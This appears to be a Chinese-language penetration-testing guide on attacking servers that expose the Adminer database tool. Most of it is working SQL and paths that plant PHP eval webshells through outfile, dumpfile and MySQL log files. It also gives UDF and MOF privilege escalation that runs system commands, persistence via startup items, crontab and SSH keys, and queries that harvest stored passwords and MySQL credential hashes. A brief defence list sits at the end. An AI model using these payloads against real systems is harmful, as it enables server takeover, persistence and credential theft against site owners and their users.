一次adminer之旅
字数 1642 2025-08-29 08:32:24
Adminer漏洞利用与渗透测试指南
一、Adminer漏洞概述
Adminer是一个轻量级的数据库管理工具,当发现目标系统存在Adminer.php文件时,可以利用其特性进行渗透测试。
关键版本信息
- Adminer <= 4.6.2版本可利用"LOAD DATA LOCAL INFILE"特性读取文件
- 通过界面可以获取Adminer版本信息
二、恶意MySQL服务器搭建
利用Adminer连接恶意MySQL服务器读取文件:
可用工具
- MySQL_Fake_Server (Python3实现,实战中可能无法读取文件)
- Rogue_mysql_server (Go实现,实战中可能无法读取文件)
- Rogue_Mysql_Server (Python2实现,能读文件但有长度限制)
- MysqlHoneypot (Python2实现,可通过修改支持大文件读取)
三、文件路径探测技术
操作系统判断
- Windows:
c:\windows\win.inic:\windows\system32\drivers\etc\hosts
- Linux:
/etc/passwd/etc/hosts
Windows路径探测
- 图标缓存数据库:
- Win7/Vista:
C:\Users\<username>\AppData\Local\IconCache.db - Win8/10:
C:\Users\<username>\AppData\Local\Microsoft\Windows\Explorer\下的多个.db文件 - 解密工具: FirstSound, Windows-IconFixer
- Win7/Vista:
Linux路径探测
- 定位数据库文件:
/var/lib/mlocate/mlocate.db/var/lib/locate.db
PHP框架路径探测
- ThinkPHP关键文件:
index.phpbuild.phpthinkphp/base.php- 配置文件路径:
apps/common.phpapps/config.phpapps/database.php- 或
application/目录下的对应文件
四、Adminer后台利用技术
获取网站绝对路径方法
- 网页报错信息
- 操作系统数据库文件(IconCache或mlocate.db)
- MySQL安装目录猜测(
select @@basedir) - 日志文件(如ThinkPHP的
runtime/log/202111/30.log) - 数据库中的配置信息
写Webshell技术
1. outfile方法
-- 检查权限
show global variables like '%secure%';
-- 基本写入
select '<?php eval($_POST["x"]) ?>' into outfile 'C:\\path\\shell.php';
-- 通过表写入
DROP TABLE IF EXISTS temp;
CREATE TABLE temp (cmd text NOT NULL);
INSERT INTO temp (cmd) VALUES ('<?php eval($_POST[x]) ?>');
SELECT cmd FROM temp INTO outfile 'C:\\path\\shell.php';
DROP TABLE IF EXISTS temp;
-- HEX编码写入
select 0x3c3f706870206576616c28245f504f53545b2278225d29203f3e into outfile 'C:\\path\\shell.php';
注意: outfile会处理换行符(0a)和制表符(09),建议使用0d(\r)作为换行符
2. dumpfile方法
-- 基本写入
select '<?php eval($_POST["x"]) ?>' into dumpfile 'C:\\path\\shell.php';
-- 通过表写入
DROP TABLE IF EXISTS temp;
CREATE TABLE temp (cmd text NOT NULL);
INSERT INTO temp (cmd) VALUES ('<?php eval($_POST[x]) ?>');
SELECT cmd FROM temp INTO dumpfile 'C:\\path\\shell.php';
DROP TABLE IF EXISTS temp;
优势: dumpfile不会处理特殊字符,适合写入复杂shell
3. general_log方法
-- 检查配置
show global variables like '%general_log%';
select @@general_log_file;
select @@general_log;
-- 开启日志并写入shell
set global general_log = 'ON';
set global general_log_file = 'C:\\path\\shell.php';
select '<?php @eval($_POST[01282095])?>';
4. slow_query_log方法
-- 检查配置
show variables like '%slow%';
select @@slow_query_log_file;
select @@slow_query_log;
-- 开启慢日志并写入shell
set GLOBAL slow_query_log_file = 'C:\\path\\shell.php';
set GLOBAL slow_query_log = on;
select '<?php @eval($_POST["x"])?>' from mysql.db where sleep(10);
五、高级利用技术
1. UDF提权
-- 获取plugin目录
select @@plugin_dir;
show global variables like '%plugin%';
-- 创建plugin目录(NTFS ADS流)
select 0x20 into dumpfile 'C:\\mysql\\lib::$INDEX_ALLOCATION';
select 0x20 into dumpfile 'C:\\mysql\\lib\\plugin::$INDEX_ALLOCATION';
-- 检查系统架构
select @@version_compile_os;
select @@version_compile_machine;
-- 写入UDF DLL
select 0x... into dumpfile "C:\\mysql\\lib\\plugin\\udf32.dll";
-- 创建函数
create function sys_exec returns int soname 'udf32.dll';
create function sys_eval returns string soname 'udf64.dll';
-- 使用函数
select sys_exec('whoami');
select sys_eval('whoami');
-- 删除函数
drop function sys_eval;
2. MOF提权(仅限Server 2003/XP)
-- 写入恶意MOF文件
select 0x... into dumpfile 'C:\\Windows\\System32\\wbem\\MOF\\nullevt.mof';
3. 其他提权方法
- LPK劫持: 写入恶意lpk.dll
- 启动项: 写入用户启动目录
- Crontab: Linux下写入计划任务(需root权限)
- SSH Key: 写入授权密钥
六、数据库信息收集
1. 搜索敏感字段
-- 搜索特定数据库中的密码字段
select table_schema, table_name, column_name from information_schema.COLUMNS
where column_name like '%pass%' and table_schema = 'target_db';
-- 搜索所有数据库中的密码字段
select table_schema, table_name, column_name from information_schema.COLUMNS
where column_name like '%pass%';
2. 获取MySQL凭据
-- MySQL 5.6及以下
select host, user, password from mysql.user;
-- MySQL 5.7及以上
select host, user, authentication_string from mysql.user;
3. 读取系统文件
-- 直接读取
select load_file('C:\\path\\file');
-- HEX编码路径读取
select hex(load_file(0x...));
七、防御建议
- 及时更新Adminer到最新版本
- 限制MySQL的FILE权限
- 设置secure_file_priv为特定目录
- 禁用general_log和slow_query_log功能
- 限制Adminer的访问IP
- 定期检查系统异常文件
八、总结
本指南详细介绍了从发现Adminer到最终获取系统权限的全过程,包括文件读取、路径探测、Webshell写入、提权技术等关键环节。渗透测试人员应合理使用这些技术,管理员则应加强相关防护措施。